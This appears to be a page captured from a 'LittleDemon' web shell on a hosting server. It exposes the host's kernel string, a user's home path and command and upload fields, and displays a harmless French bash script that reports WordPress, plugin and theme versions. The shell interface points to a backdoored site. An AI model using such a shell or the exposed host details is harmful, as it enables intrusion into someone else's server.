LittleDemon WebShell


Linux webm007.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Path : /home/eglisebaa/
File Upload :
Command :
Current File : /home/eglisebaa/verification-mises-a-jour.sh

#!/bin/bash
#
# Script de vérification des mises à jour WordPress, plugins et thèmes
#

set -e

# Couleurs
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
NC='\033[0m'

WP_ROOT="/home/eglisebaa/www"
REPORT_FILE="$WP_ROOT/rapport-mises-a-jour-$(date +%Y%m%d-%H%M%S).txt"

cd "$WP_ROOT"

log() {
    echo -e "$1" | tee -a "$REPORT_FILE"
}

log_section() {
    echo "" | tee -a "$REPORT_FILE"
    log "=========================================="
    log "$1"
    log "=========================================="
    log ""
}

log_info() {
    log "${BLUE}ℹ️  $1${NC}"
}

log_warning() {
    log "${YELLOW}⚠️  $1${NC}"
}

log_success() {
    log "${GREEN}✅ $1${NC}"
}

echo ""
echo "=========================================="
echo "🔍 VÉRIFICATION DES MISES À JOUR"
echo "=========================================="
echo ""

log_section "VÉRIFICATION DES MISES À JOUR - $(date)"

# 1. Version WordPress
log_section "1. Version WordPress"

if [ -f "wp-includes/version.php" ]; then
    WP_VERSION=$(grep "\$wp_version" wp-includes/version.php | head -1 | sed "s/.*= '\(.*\)';/\1/" | tr -d ' ')
    log_info "Version WordPress actuelle: ${CYAN}$WP_VERSION${NC}"
    
    # Vérifier si c'est une version récente
    MAJOR_VERSION=$(echo "$WP_VERSION" | cut -d. -f1)
    MINOR_VERSION=$(echo "$WP_VERSION" | cut -d. -f2)
    
    if [ "$MAJOR_VERSION" -lt 6 ] || ([ "$MAJOR_VERSION" -eq 6 ] && [ "$MINOR_VERSION" -lt 4 ]); then
        log_warning "WordPress $WP_VERSION - Mise à jour recommandée (dernière version: 6.4+)"
    else
        log_success "WordPress $WP_VERSION - Version récente"
    fi
else
    log_warning "Impossible de déterminer la version WordPress"
fi

# 2. Plugins installés
log_section "2. Plugins Installés"

PLUGINS_COUNT=0
PLUGINS_LIST=""

for plugin_dir in wp-content/plugins/*/; do
    if [ -d "$plugin_dir" ]; then
        plugin_name=$(basename "$plugin_dir")
        
        # Ignorer les fichiers
        if [ "$plugin_name" = "index.php" ]; then
            continue
        fi
        
        PLUGINS_COUNT=$((PLUGINS_COUNT + 1))
        
        # Trouver le fichier principal du plugin
        plugin_file=$(find "$plugin_dir" -maxdepth 1 -name "*.php" -type f | head -1)
        
        if [ -f "$plugin_file" ]; then
            # Extraire la version
            version=$(grep -i "Version:" "$plugin_file" 2>/dev/null | head -1 | sed 's/.*[Vv]ersion[: ]*//' | sed 's/[^0-9.]//g' | head -c 20 | tr -d ' ')
            
            if [ -z "$version" ]; then
                version="N/A"
            fi
            
            # Extraire le nom du plugin depuis le header
            plugin_display_name=$(grep -i "Plugin Name:" "$plugin_file" 2>/dev/null | head -1 | sed 's/.*Plugin Name[: ]*//' | sed 's/^[ \t]*//;s/[ \t]*$//' | head -c 50)
            
            if [ -z "$plugin_display_name" ]; then
                plugin_display_name="$plugin_name"
            fi
            
            log_info "$plugin_display_name (${CYAN}$plugin_name${NC}) - Version: ${YELLOW}$version${NC}"
            PLUGINS_LIST="${PLUGINS_LIST}${plugin_name}|${version}\n"
        fi
    fi
done

log_info "Total plugins: $PLUGINS_COUNT"

# 3. Thèmes installés
log_section "3. Thèmes Installés"

THEMES_COUNT=0

for theme_dir in wp-content/themes/*/; do
    if [ -d "$theme_dir" ]; then
        theme_name=$(basename "$theme_dir")
        
        # Ignorer les fichiers
        if [ "$theme_name" = "index.php" ]; then
            continue
        fi
        
        THEMES_COUNT=$((THEMES_COUNT + 1))
        
        # Trouver le fichier style.css
        if [ -f "${theme_dir}style.css" ]; then
            # Extraire la version
            version=$(grep -i "Version:" "${theme_dir}style.css" 2>/dev/null | head -1 | sed 's/.*[Vv]ersion[: ]*//' | sed 's/[^0-9.]//g' | head -c 20 | tr -d ' ')
            
            if [ -z "$version" ]; then
                version="N/A"
            fi
            
            # Extraire le nom du thème
            theme_display_name=$(grep -i "Theme Name:" "${theme_dir}style.css" 2>/dev/null | head -1 | sed 's/.*Theme Name[: ]*//' | sed 's/^[ \t]*//;s/[ \t]*$//' | head -c 50)
            
            if [ -z "$theme_display_name" ]; then
                theme_display_name="$theme_name"
            fi
            
            log_info "$theme_display_name (${CYAN}$theme_name${NC}) - Version: ${YELLOW}$version${NC}"
        fi
    fi
done

log_info "Total thèmes: $THEMES_COUNT"

# 4. Résumé et recommandations
log_section "RÉSUMÉ ET RECOMMANDATIONS"

log "WordPress: $WP_VERSION"
log "Plugins: $PLUGINS_COUNT"
log "Thèmes: $THEMES_COUNT"
log ""
log "${YELLOW}⚠️  IMPORTANT:${NC}"
log "1. Faire une sauvegarde complète avant toute mise à jour"
log "2. Mettre à jour WordPress en premier"
log "3. Mettre à jour les plugins un par un et tester"
log "4. Mettre à jour les thèmes en dernier"
log "5. Tester le site après chaque mise à jour"
log ""
log "Rapport sauvegardé dans: $REPORT_FILE"

echo ""
echo "=========================================="
echo "✅ VÉRIFICATION TERMINÉE"
echo "=========================================="
echo ""

LittleDemon - FACEBOOK
[ KELUAR ]